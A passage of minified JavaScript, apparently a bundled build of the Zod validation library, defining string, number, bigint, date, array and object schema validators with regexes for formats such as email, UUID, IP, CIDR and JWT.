RegExp(`^${K}$`)}function EH5(A,K){if((K==="v4"||!K)&&jH5.test(A))return!0;if((K==="v6"||!K)&&PH5.test(A))return!0;return!1}function kH5(A,K){if(!GH5.test(A))return!1;try{let[q]=A.split(".");if(!q)return!1;let Y=q.replace(/-/g,"+").replace(/_/g,"/").padEnd(q.length+(4-q.length%4)%4,"="),z=JSON.parse(atob(Y));if(typeof z!=="object"||z===null)return!1;if("typ"in z&&z?.typ!=="JWT")return!1;if(!z.alg)return!1;if(K&&z.alg!==K)return!1;return!0}catch{return!1}}function CH5(A,K){if((K==="v4"||!K)&&MH5.test(A))return!0;if((K==="v6"||!K)&&VH5.test(A))return!0;return!1}function LH5(A,K){let q=(A.toString().split(".")[1]||"").length,Y=(K.toString().split(".")[1]||"").length,z=q>Y?q:Y,w=Number.parseInt(A.toFixed(z).replace(".","")),H=Number.parseInt(K.toFixed(z).replace(".",""));return w%H/10**z}function kJA(A){if(A instanceof zO){let K={};for(let q in A.shape){let Y=A.shape[q];K[q]=rR.create(kJA(Y))}return new zO({...A._def,shape:()=>K})}else if(A instanceof nR)return new nR({...A._def,type:kJA(A.element)});else if(A instanceof rR)return rR.create(kJA(A.unwrap()));else if(A instanceof uF)return uF.create(kJA(A.unwrap()));else if(A instanceof ub)return ub.create(A.items.map((K)=>kJA(K)));else return A}function Wc1(A,K){let q=bb(A),Y=bb(K);if(A===K)return{valid:!0,data:A};else if(q===k4.object&&Y===k4.object){let z=S9.objectKeys(K),w=S9.objectKeys(A).filter((J)=>z.indexOf(J)!==-1),H={...A,...K};for(let J of w){let O=Wc1(A[J],K[J]);if(!O.valid)return{valid:!1};H[J]=O.data}return{valid:!0,data:H}}else if(q===k4.array&&Y===k4.array){if(A.length!==K.length)return{valid:!1};let z=[];for(let w=0;w<A.length;w++){let H=A[w],J=K[w],O=Wc1(H,J);if(!O.valid)return{valid:!1};z.push(O.data)}return{valid:!0,data:z}}else if(q===k4.date&&Y===k4.date&&+A===+K)return{valid:!0,data:A};else return{valid:!1}}function Qb8(A,K){return new di({values:A,typeName:Rq.ZodEnum,...H3(K)})}function Bb8(A,K){let q=typeof A==="function"?A(K):typeof A==="string"?{message:A}:A;return typeof q==="string"?{message:q}:q}function Ub8(A,K={},q){if(A)return g6A.create().superRefine((Y,z)=>{let w=A(Y);if(w instanceof Promise)return w.then((H)=>{if(!H){let J=Bb8(K,Y),O=J.fatal??q??!0;z.addIssue({code:"custom",...J,fatal:O})}});if(!w){let H=Bb8(K,Y),J=H.fatal??q??!0;z.addIssue({code:"custom",...H,fatal:J})}return});return g6A.create()}var ub8=(A,K)=>{if(Fi(K))return{success:!0,data:K.value};else{if(!A.common.issues.length)throw Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let q=new DV(A.common.issues);return this._error=q,this._error}}}},JH5,OH5,XH5,$H5,_H5,GH5,ZH5,WH5,DH5="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Zc1,jH5,MH5,PH5,VH5,fH5,NH5,mb8="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",TH5,iR,Ui,pi,LJA,m6A,ckA,RJA,yJA,g6A,Qi,xb,lkA,nR,zO,IJA,xF=(A)=>{if(A instanceof hJA)return xF(A.schema);else if(A instanceof aR)return xF(A.innerType());else if(A instanceof bJA)return[A.value];else if(A instanceof di)return A.options;else if(A instanceof xJA)return S9.objectValues(A.enum);else if(A instanceof uJA)return xF(A._def.innerType);else if(A instanceof RJA)return[void 0];else if(A instanceof yJA)return[null];else if(A instanceof rR)return[void 0,...xF(A.unwrap())];else if(A instanceof uF)return[null,...xF(A.unwrap())];else if(A instanceof F11)return xF(A.unwrap());else if(A instanceof mJA)return xF(A.unwrap());else if(A instanceof BJA)return xF(A._def.innerType);else return[]},g11,SJA,ub,ikA,nkA,F6A,CJA,hJA,bJA,di,xJA,Q6A,aR,rR,uF,uJA,BJA,rkA,RH5,F11,okA,mJA,yH5,Rq,IH5=(A,K={message:`Input not instance of ${A.name}`})=>Ub8((q)=>q instanceof A,K),m8,nE,SH5,hH5,o_,bH5,xH5,uH5,BH5,mH5,gH5,FH5,QH5,dO,KT,qT,U6A,UH5,pH5,dH5,sR,cH5,lH5,iH5,nH5,rH5,tR,oH5,aH5,sH5,tH5,eH5,AJ5,KJ5,qJ5=()=>m8().optional(),YJ5=()=>nE().optional(),zJ5=()=>o_().optional(),wJ5,HJ5;var pb8=k(()=>{x11();u11();xb8();Gc1();pkA();JH5=/^c[^\s-]{8,}$/i,OH5=/^[0-9a-z]+$/,XH5=/^[0-9A-HJKMNP-TV-Z]{26}$/i,$H5=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,_H5=/^[a-z0-9_-]{21}$/i,GH5=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,ZH5=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,WH5=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,jH5=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,MH5=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,PH5=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,VH5=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,fH5=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,NH5=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,TH5=new RegExp(`^${mb8}$`);iR=class iR extends o3{_parse(A){if(this._def.coerce)A.data=String(A.data);if(this._getType(A)!==k4.string){let z=this._getOrReturnCtx(A);return l4(z,{code:d8.invalid_type,expected:k4.string,received:z.parsedType}),Gq}let q=new TZ,Y=void 0;for(let z of this._def.checks)if(z.kind==="min"){if(A.data.length<z.value)Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.too_small,minimum:z.value,type:"string",inclusive:!0,exact:!1,message:z.message}),q.dirty()}else if(z.kind==="max"){if(A.data.length>z.value)Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.too_big,maximum:z.value,type:"string",inclusive:!0,exact:!1,message:z.message}),q.dirty()}else if(z.kind==="length"){let w=A.data.length>z.value,H=A.data.length<z.value;if(w||H){if(Y=this._getOrReturnCtx(A,Y),w)l4(Y,{code:d8.too_big,maximum:z.value,type:"string",inclusive:!0,exact:!0,message:z.message});else if(H)l4(Y,{code:d8.too_small,minimum:z.value,type:"string",inclusive:!0,exact:!0,message:z.message});q.dirty()}}else if(z.kind==="email"){if(!WH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"email",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="emoji"){if(!Zc1)Zc1=new RegExp(DH5,"u");if(!Zc1.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"emoji",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="uuid"){if(!$H5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"uuid",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="nanoid"){if(!_H5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"nanoid",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="cuid"){if(!JH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"cuid",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="cuid2"){if(!OH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"cuid2",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="ulid"){if(!XH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"ulid",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="url")try{new URL(A.data)}catch{Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"url",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="regex"){if(z.regex.lastIndex=0,!z.regex.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"regex",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="trim")A.data=A.data.trim();else if(z.kind==="includes"){if(!A.data.includes(z.value,z.position))Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.invalid_string,validation:{includes:z.value,position:z.position},message:z.message}),q.dirty()}else if(z.kind==="toLowerCase")A.data=A.data.toLowerCase();else if(z.kind==="toUpperCase")A.data=A.data.toUpperCase();else if(z.kind==="startsWith"){if(!A.data.startsWith(z.value))Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.invalid_string,validation:{startsWith:z.value},message:z.message}),q.dirty()}else if(z.kind==="endsWith"){if(!A.data.endsWith(z.value))Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.invalid_string,validation:{endsWith:z.value},message:z.message}),q.dirty()}else if(z.kind==="datetime"){if(!Fb8(z).test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.invalid_string,validation:"datetime",message:z.message}),q.dirty()}else if(z.kind==="date"){if(!TH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.invalid_string,validation:"date",message:z.message}),q.dirty()}else if(z.kind==="time"){if(!vH5(z).test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.invalid_string,validation:"time",message:z.message}),q.dirty()}else if(z.kind==="duration"){if(!ZH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"duration",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="ip"){if(!EH5(A.data,z.version))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"ip",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="jwt"){if(!kH5(A.data,z.alg))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"jwt",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="cidr"){if(!CH5(A.data,z.version))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"cidr",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="base64"){if(!fH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"base64",code:d8.invalid_string,message:z.message}),q.dirty()}else if(z.kind==="base64url"){if(!NH5.test(A.data))Y=this._getOrReturnCtx(A,Y),l4(Y,{validation:"base64url",code:d8.invalid_string,message:z.message}),q.dirty()}else S9.assertNever(z);return{status:q.value,value:A.data}}_regex(A,K,q){return this.refinement((Y)=>A.test(Y),{validation:K,code:d8.invalid_string,...zK.errToObj(q)})}_addCheck(A){return new iR({...this._def,checks:[...this._def.checks,A]})}email(A){return this._addCheck({kind:"email",...zK.errToObj(A)})}url(A){return this._addCheck({kind:"url",...zK.errToObj(A)})}emoji(A){return this._addCheck({kind:"emoji",...zK.errToObj(A)})}uuid(A){return this._addCheck({kind:"uuid",...zK.errToObj(A)})}nanoid(A){return this._addCheck({kind:"nanoid",...zK.errToObj(A)})}cuid(A){return this._addCheck({kind:"cuid",...zK.errToObj(A)})}cuid2(A){return this._addCheck({kind:"cuid2",...zK.errToObj(A)})}ulid(A){return this._addCheck({kind:"ulid",...zK.errToObj(A)})}base64(A){return this._addCheck({kind:"base64",...zK.errToObj(A)})}base64url(A){return this._addCheck({kind:"base64url",...zK.errToObj(A)})}jwt(A){return this._addCheck({kind:"jwt",...zK.errToObj(A)})}ip(A){return this._addCheck({kind:"ip",...zK.errToObj(A)})}cidr(A){return this._addCheck({kind:"cidr",...zK.errToObj(A)})}datetime(A){if(typeof A==="string")return this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:A});return this._addCheck({kind:"datetime",precision:typeof A?.precision>"u"?null:A?.precision,offset:A?.offset??!1,local:A?.local??!1,...zK.errToObj(A?.message)})}date(A){return this._addCheck({kind:"date",message:A})}time(A){if(typeof A==="string")return this._addCheck({kind:"time",precision:null,message:A});return this._addCheck({kind:"time",precision:typeof A?.precision>"u"?null:A?.precision,...zK.errToObj(A?.message)})}duration(A){return this._addCheck({kind:"duration",...zK.errToObj(A)})}regex(A,K){return this._addCheck({kind:"regex",regex:A,...zK.errToObj(K)})}includes(A,K){return this._addCheck({kind:"includes",value:A,position:K?.position,...zK.errToObj(K?.message)})}startsWith(A,K){return this._addCheck({kind:"startsWith",value:A,...zK.errToObj(K)})}endsWith(A,K){return this._addCheck({kind:"endsWith",value:A,...zK.errToObj(K)})}min(A,K){return this._addCheck({kind:"min",value:A,...zK.errToObj(K)})}max(A,K){return this._addCheck({kind:"max",value:A,...zK.errToObj(K)})}length(A,K){return this._addCheck({kind:"length",value:A,...zK.errToObj(K)})}nonempty(A){return this.min(1,zK.errToObj(A))}trim(){return new iR({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new iR({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new iR({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find((A)=>A.kind==="datetime")}get isDate(){return!!this._def.checks.find((A)=>A.kind==="date")}get isTime(){return!!this._def.checks.find((A)=>A.kind==="time")}get isDuration(){return!!this._def.checks.find((A)=>A.kind==="duration")}get isEmail(){return!!this._def.checks.find((A)=>A.kind==="email")}get isURL(){return!!this._def.checks.find((A)=>A.kind==="url")}get isEmoji(){return!!this._def.checks.find((A)=>A.kind==="emoji")}get isUUID(){return!!this._def.checks.find((A)=>A.kind==="uuid")}get isNANOID(){return!!this._def.checks.find((A)=>A.kind==="nanoid")}get isCUID(){return!!this._def.checks.find((A)=>A.kind==="cuid")}get isCUID2(){return!!this._def.checks.find((A)=>A.kind==="cuid2")}get isULID(){return!!this._def.checks.find((A)=>A.kind==="ulid")}get isIP(){return!!this._def.checks.find((A)=>A.kind==="ip")}get isCIDR(){return!!this._def.checks.find((A)=>A.kind==="cidr")}get isBase64(){return!!this._def.checks.find((A)=>A.kind==="base64")}get isBase64url(){return!!this._def.checks.find((A)=>A.kind==="base64url")}get minLength(){let A=null;for(let K of this._def.checks)if(K.kind==="min"){if(A===null||K.value>A)A=K.value}return A}get maxLength(){let A=null;for(let K of this._def.checks)if(K.kind==="max"){if(A===null||K.value<A)A=K.value}return A}};iR.create=(A)=>{return new iR({checks:[],typeName:Rq.ZodString,coerce:A?.coerce??!1,...H3(A)})};Ui=class Ui extends o3{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(A){if(this._def.coerce)A.data=Number(A.data);if(this._getType(A)!==k4.number){let z=this._getOrReturnCtx(A);return l4(z,{code:d8.invalid_type,expected:k4.number,received:z.parsedType}),Gq}let q=void 0,Y=new TZ;for(let z of this._def.checks)if(z.kind==="int"){if(!S9.isInteger(A.data))q=this._getOrReturnCtx(A,q),l4(q,{code:d8.invalid_type,expected:"integer",received:"float",message:z.message}),Y.dirty()}else if(z.kind==="min"){if(z.inclusive?A.data<z.value:A.data<=z.value)q=this._getOrReturnCtx(A,q),l4(q,{code:d8.too_small,minimum:z.value,type:"number",inclusive:z.inclusive,exact:!1,message:z.message}),Y.dirty()}else if(z.kind==="max"){if(z.inclusive?A.data>z.value:A.data>=z.value)q=this._getOrReturnCtx(A,q),l4(q,{code:d8.too_big,maximum:z.value,type:"number",inclusive:z.inclusive,exact:!1,message:z.message}),Y.dirty()}else if(z.kind==="multipleOf"){if(LH5(A.data,z.value)!==0)q=this._getOrReturnCtx(A,q),l4(q,{code:d8.not_multiple_of,multipleOf:z.value,message:z.message}),Y.dirty()}else if(z.kind==="finite"){if(!Number.isFinite(A.data))q=this._getOrReturnCtx(A,q),l4(q,{code:d8.not_finite,message:z.message}),Y.dirty()}else S9.assertNever(z);return{status:Y.value,value:A.data}}gte(A,K){return this.setLimit("min",A,!0,zK.toString(K))}gt(A,K){return this.setLimit("min",A,!1,zK.toString(K))}lte(A,K){return this.setLimit("max",A,!0,zK.toString(K))}lt(A,K){return this.setLimit("max",A,!1,zK.toString(K))}setLimit(A,K,q,Y){return new Ui({...this._def,checks:[...this._def.checks,{kind:A,value:K,inclusive:q,message:zK.toString(Y)}]})}_addCheck(A){return new Ui({...this._def,checks:[...this._def.checks,A]})}int(A){return this._addCheck({kind:"int",message:zK.toString(A)})}positive(A){return this._addCheck({kind:"min",value:0,inclusive:!1,message:zK.toString(A)})}negative(A){return this._addCheck({kind:"max",value:0,inclusive:!1,message:zK.toString(A)})}nonpositive(A){return this._addCheck({kind:"max",value:0,inclusive:!0,message:zK.toString(A)})}nonnegative(A){return this._addCheck({kind:"min",value:0,inclusive:!0,message:zK.toString(A)})}multipleOf(A,K){return this._addCheck({kind:"multipleOf",value:A,message:zK.toString(K)})}finite(A){return this._addCheck({kind:"finite",message:zK.toString(A)})}safe(A){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:zK.toString(A)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:zK.toString(A)})}get minValue(){let A=null;for(let K of this._def.checks)if(K.kind==="min"){if(A===null||K.value>A)A=K.value}return A}get maxValue(){let A=null;for(let K of this._def.checks)if(K.kind==="max"){if(A===null||K.value<A)A=K.value}return A}get isInt(){return!!this._def.checks.find((A)=>A.kind==="int"||A.kind==="multipleOf"&&S9.isInteger(A.value))}get isFinite(){let A=null,K=null;for(let q of this._def.checks)if(q.kind==="finite"||q.kind==="int"||q.kind==="multipleOf")return!0;else if(q.kind==="min"){if(K===null||q.value>K)K=q.value}else if(q.kind==="max"){if(A===null||q.value<A)A=q.value}return Number.isFinite(K)&&Number.isFinite(A)}};Ui.create=(A)=>{return new Ui({checks:[],typeName:Rq.ZodNumber,coerce:A?.coerce||!1,...H3(A)})};pi=class pi extends o3{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte}_parse(A){if(this._def.coerce)try{A.data=BigInt(A.data)}catch{return this._getInvalidInput(A)}if(this._getType(A)!==k4.bigint)return this._getInvalidInput(A);let q=void 0,Y=new TZ;for(let z of this._def.checks)if(z.kind==="min"){if(z.inclusive?A.data<z.value:A.data<=z.value)q=this._getOrReturnCtx(A,q),l4(q,{code:d8.too_small,type:"bigint",minimum:z.value,inclusive:z.inclusive,message:z.message}),Y.dirty()}else if(z.kind==="max"){if(z.inclusive?A.data>z.value:A.data>=z.value)q=this._getOrReturnCtx(A,q),l4(q,{code:d8.too_big,type:"bigint",maximum:z.value,inclusive:z.inclusive,message:z.message}),Y.dirty()}else if(z.kind==="multipleOf"){if(A.data%z.value!==BigInt(0))q=this._getOrReturnCtx(A,q),l4(q,{code:d8.not_multiple_of,multipleOf:z.value,message:z.message}),Y.dirty()}else S9.assertNever(z);return{status:Y.value,value:A.data}}_getInvalidInput(A){let K=this._getOrReturnCtx(A);return l4(K,{code:d8.invalid_type,expected:k4.bigint,received:K.parsedType}),Gq}gte(A,K){return this.setLimit("min",A,!0,zK.toString(K))}gt(A,K){return this.setLimit("min",A,!1,zK.toString(K))}lte(A,K){return this.setLimit("max",A,!0,zK.toString(K))}lt(A,K){return this.setLimit("max",A,!1,zK.toString(K))}setLimit(A,K,q,Y){return new pi({...this._def,checks:[...this._def.checks,{kind:A,value:K,inclusive:q,message:zK.toString(Y)}]})}_addCheck(A){return new pi({...this._def,checks:[...this._def.checks,A]})}positive(A){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:zK.toString(A)})}negative(A){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:zK.toString(A)})}nonpositive(A){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:zK.toString(A)})}nonnegative(A){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:zK.toString(A)})}multipleOf(A,K){return this._addCheck({kind:"multipleOf",value:A,message:zK.toString(K)})}get minValue(){let A=null;for(let K of this._def.checks)if(K.kind==="min"){if(A===null||K.value>A)A=K.value}return A}get maxValue(){let A=null;for(let K of this._def.checks)if(K.kind==="max"){if(A===null||K.value<A)A=K.value}return A}};pi.create=(A)=>{return new pi({checks:[],typeName:Rq.ZodBigInt,coerce:A?.coerce??!1,...H3(A)})};LJA=class LJA extends o3{_parse(A){if(this._def.coerce)A.data=Boolean(A.data);if(this._getType(A)!==k4.boolean){let q=this._getOrReturnCtx(A);return l4(q,{code:d8.invalid_type,expected:k4.boolean,received:q.parsedType}),Gq}return GD(A.data)}};LJA.create=(A)=>{return new LJA({typeName:Rq.ZodBoolean,coerce:A?.coerce||!1,...H3(A)})};m6A=class m6A extends o3{_parse(A){if(this._def.coerce)A.data=new Date(A.data);if(this._getType(A)!==k4.date){let z=this._getOrReturnCtx(A);return l4(z,{code:d8.invalid_type,expected:k4.date,received:z.parsedType}),Gq}if(Number.isNaN(A.data.getTime())){let z=this._getOrReturnCtx(A);return l4(z,{code:d8.invalid_date}),Gq}let q=new TZ,Y=void 0;for(let z of this._def.checks)if(z.kind==="min"){if(A.data.getTime()<z.value)Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.too_small,message:z.message,inclusive:!0,exact:!1,minimum:z.value,type:"date"}),q.dirty()}else if(z.kind==="max"){if(A.data.getTime()>z.value)Y=this._getOrReturnCtx(A,Y),l4(Y,{code:d8.too_big,message:z.message,inclusive:!0,exact:!1,maximum:z.value,type:"date"}),q.dirty()}else S9.assertNever(z);return{status:q.value,value:new Date(A.data.getTime())}}_addCheck(A){return new m6A({...this._def,checks:[...this._def.checks,A]})}min(A,K){return this._addCheck({kind:"min",value:A.getTime(),message:zK.toString(K)})}max(A,K){return this._addCheck({kind:"max",value:A.getTime(),message:zK.toString(K)})}get minDate(){let A=null;for(let K of this._def.checks)if(K.kind==="min"){if(A===null||K.value>A)A=K.value}return A!=null?new Date(A):null}get maxDate(){let A=null;for(let K of this._def.checks)if(K.kind==="max"){if(A===null||K.value<A)A=K.value}return A!=null?new Date(A):null}};m6A.create=(A)=>{return new m6A({checks:[],coerce:A?.coerce||!1,typeName:Rq.ZodDate,...H3(A)})};ckA=class ckA extends o3{_parse(A){if(this._getType(A)!==k4.symbol){let q=this._getOrReturnCtx(A);return l4(q,{code:d8.invalid_type,expected:k4.symbol,received:q.parsedType}),Gq}return GD(A.data)}};ckA.create=(A)=>{return new ckA({typeName:Rq.ZodSymbol,...H3(A)})};RJA=class RJA extends o3{_parse(A){if(this._getType(A)!==k4.undefined){let q=this._getOrReturnCtx(A);return l4(q,{code:d8.invalid_type,expected:k4.undefined,received:q.parsedType}),Gq}return GD(A.data)}};RJA.create=(A)=>{return new RJA({typeName:Rq.ZodUndefined,...H3(A)})};yJA=class yJA extends o3{_parse(A){if(this._getType(A)!==k4.null){let q=this._getOrReturnCtx(A);return l4(q,{code:d8.invalid_type,expected:k4.null,received:q.parsedType}),Gq}return GD(A.data)}};yJA.create=(A)=>{return new yJA({typeName:Rq.ZodNull,...H3(A)})};g6A=class g6A extends o3{constructor(){super(...arguments);this._any=!0}_parse(A){return GD(A.data)}};g6A.create=(A)=>{return new g6A({typeName:Rq.ZodAny,...H3(A)})};Qi=class Qi extends o3{constructor(){super(...arguments);this._unknown=!0}_parse(A){return GD(A.data)}};Qi.create=(A)=>{return new Qi({typeName:Rq.ZodUnknown,...H3(A)})};xb=class xb extends o3{_parse(A){let K=this._getOrReturnCtx(A);return l4(K,{code:d8.invalid_type,expected:k4.never,received:K.parsedType}),Gq}};xb.create=(A)=>{return new xb({typeName:Rq.ZodNever,...H3(A)})};lkA=class lkA extends o3{_parse(A){if(this._getType(A)!==k4.undefined){let q=this._getOrReturnCtx(A);return l4(q,{code:d8.invalid_type,expected:k4.void,received:q.parsedType}),Gq}return GD(A.data)}};lkA.create=(A)=>{return new lkA({typeName:Rq.ZodVoid,...H3(A)})};nR=class nR extends o3{_parse(A){let{ctx:K,status:q}=this._processInputParams(A),Y=this._def;if(K.parsedType!==k4.array)return l4(K,{code:d8.invalid_type,expected:k4.array,received:K.parsedType}),Gq;if(Y.exactLength!==null){let w=K.data.length>Y.exactLength.value,H=K.data.length<Y.exactLength.value;if(w||H)l4(K,{code:w?d8.too_big:d8.too_small,minimum:H?Y.exactLength.value:void 0,maximum:w?Y.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:Y.exactLength.message}),q.dirty()}if(Y.minLength!==null){if(K.data.length<Y.minLength.value)l4(K,{code:d8.too_small,minimum:Y.minLength.value,type:"array",inclusive:!0,exact:!1,message:Y.minLength.message}),q.dirty()}if(Y.maxLength!==null){if(K.data.length>Y.maxLength.value)l4(K,{code:d8.too_big,maximum:Y.maxLength.value,type:"array",inclusive:!0,exact:!1,message:Y.maxLength.message}),q.dirty()}if(K.common.async)return Promise.all([...K.data].map((w,H)=>{return Y.type._parseAsync(new oR(K,w,K.path,H))})).then((w)=>{return TZ.mergeArray(q,w)});let z=[...K.data].map((w,H)=>{return Y.type._parseSync(new oR(K,w,K.path,H))});return TZ.mergeArray(q,z)}get element(){return this._def.type}min(A,K){return new nR({...this._def,minLength:{value:A,message:zK.toString(K)}})}max(A,K){return new nR({...this._def,maxLength:{value:A,message:zK.toString(K)}})}length(A,K){return new nR({...this._def,exactLength:{value:A,message:zK.toString(K)}})}nonempty(A){return this.min(1,A)}};nR.create=(A,K)=>{return new nR({type:A,minLength:null,maxLength:null,exactLength:null,typeName:Rq.ZodArray,...H3(K)})};zO=class zO extends o3{constructor(){super(...arguments);this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let A=this._def.shape(),K=S9.objectKeys(A);return this._cached={shape:A,keys:K},this._cached}_parse(A){if(this._getType(A)!==k4.object){let O=this._getOrReturnCtx(A);return l4(O,{code:d8.invalid_type,expected:k4.object,received:O.parsedType}),Gq}let{status:q,ctx:Y}=this._processInputParams(A),{shape:z,keys:w}=this._getCached(),H=[];if(!(this._def.catchall instanceof xb&&this._def.unknownKeys==="strip")){for(let O in 